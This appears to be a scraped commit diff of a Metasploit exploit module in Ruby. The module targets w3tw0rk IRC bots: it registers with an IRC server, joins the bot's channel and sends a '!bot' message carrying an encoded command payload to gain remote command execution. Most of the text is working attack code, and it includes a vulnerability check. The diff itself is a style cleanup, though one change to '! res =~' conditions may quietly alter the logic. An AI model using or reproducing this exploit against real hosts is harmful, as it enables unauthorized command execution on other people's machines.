5
5
6
6
require 'msf/core'
7
7
8
-
9
8
class Metasploit3 < Msf ::Exploit ::Remote
9
+
10
10
Rank = ExcellentRanking
11
11
12
12
include Msf ::Exploit ::Remote ::Tcp
@@ -35,7 +35,7 @@ def initialize(info = {})
35
35
'DisableNops' => true ,
36
36
'Compat' =>
37
37
{
38
- 'PayloadType' => 'cmd' ,
38
+ 'PayloadType' => 'cmd'
39
39
}
40
40
} ,
41
41
'Targets' =>
@@ -59,24 +59,24 @@ def check
59
59
connect
60
60
61
61
res = register ( sock )
62
- if res =~ /463/ or res =~ /464/
62
+ if res =~ /463/ || res =~ /464/
63
63
vprint_error ( "#{ rhost } :#{ rport } - Connection to the IRC Server not allowed" )
64
64
return Exploit ::CheckCode ::Unknown
65
65
end
66
66
67
67
res = join ( sock )
68
- if not res =~ /353/ and not res =~ /366/
68
+ if ! res =~ /353/ && ! res =~ /366/
69
69
vprint_error ( "#{ rhost } :#{ rport } - Error joining the #{ datastore [ 'CHANNEL' ] } channel" )
70
70
return Exploit ::CheckCode ::Unknown
71
71
end
72
72
73
73
quit ( sock )
74
74
disconnect
75
75
76
- if res =~ /auth/ and res =~ /logged in/
77
- return Exploit ::CheckCode ::Vulnerable
76
+ if res =~ /auth/ && res =~ /logged in/
77
+ Exploit ::CheckCode ::Vulnerable
78
78
else
79
- return Exploit ::CheckCode ::Safe
79
+ Exploit ::CheckCode ::Safe
80
80
end
81
81
end
82
82
@@ -85,7 +85,7 @@ def send_msg(sock, data)
85
85
data = ""
86
86
begin
87
87
read_data = sock . get_once ( -1 , 1 )
88
- while not read_data . nil?
88
+ while ! read_data . nil?
89
89
data << read_data
90
90
read_data = sock . get_once ( -1 , 1 )
91
91
end
@@ -99,7 +99,7 @@ def send_msg(sock, data)
99
99
def register ( sock )
100
100
msg = ""
101
101
102
- if datastore [ 'IRC_PASSWORD' ] and not datastore [ 'IRC_PASSWORD' ] . empty?
102
+ if datastore [ 'IRC_PASSWORD' ] && ! datastore [ 'IRC_PASSWORD' ] . empty?
103
103
msg << "PASS #{ datastore [ 'IRC_PASSWORD' ] } \r \n "
104
104
end
105
105
@@ -113,21 +113,18 @@ def register(sock)
113
113
msg << "NICK #{ nick } \r \n "
114
114
msg << "USER #{ nick } #{ Rex ::Socket . source_address ( rhost ) } #{ rhost } :#{ nick } \r \n "
115
115
116
- res = send_msg ( sock , msg )
117
- return res
116
+ send_msg ( sock , msg )
118
117
end
119
118
120
119
def join ( sock )
121
120
join_msg = "JOIN #{ datastore [ 'CHANNEL' ] } \r \n "
122
- res = send_msg ( sock , join_msg )
123
- return res
121
+ send_msg ( sock , join_msg )
124
122
end
125
123
126
124
def w3tw0rk_command ( sock )
127
125
encoded = payload . encoded
128
126
command_msg = "PRIVMSG #{ datastore [ 'CHANNEL' ] } :!bot #{ encoded } \r \n "
129
- res = send_msg ( sock , command_msg )
130
- return res
127
+ send_msg ( sock , command_msg )
131
128
end
132
129
133
130
def quit ( sock )
@@ -140,14 +137,14 @@ def exploit
140
137
141
138
print_status ( "#{ rhost } :#{ rport } - Registering with the IRC Server..." )
142
139
res = register ( sock )
143
- if res =~ /463/ or res =~ /464/
140
+ if res =~ /463/ || res =~ /464/
144
141
print_error ( "#{ rhost } :#{ rport } - Connection to the IRC Server not allowed" )
145
142
return
146
143
end
147
144
148
145
print_status ( "#{ rhost } :#{ rport } - Joining the #{ datastore [ 'CHANNEL' ] } channel..." )
149
146
res = join ( sock )
150
- if not res =~ /353/ and not res =~ /366/
147
+ if ! res =~ /353/ && ! res =~ /366/
151
148
print_error ( "#{ rhost } :#{ rport } - Error joining the #{ datastore [ 'CHANNEL' ] } channel" )
152
149
return
153
150
end
@@ -158,4 +155,5 @@ def exploit
158
155
quit ( sock )
159
156
disconnect
160
157
end
158
+
161
159
end
0 commit comments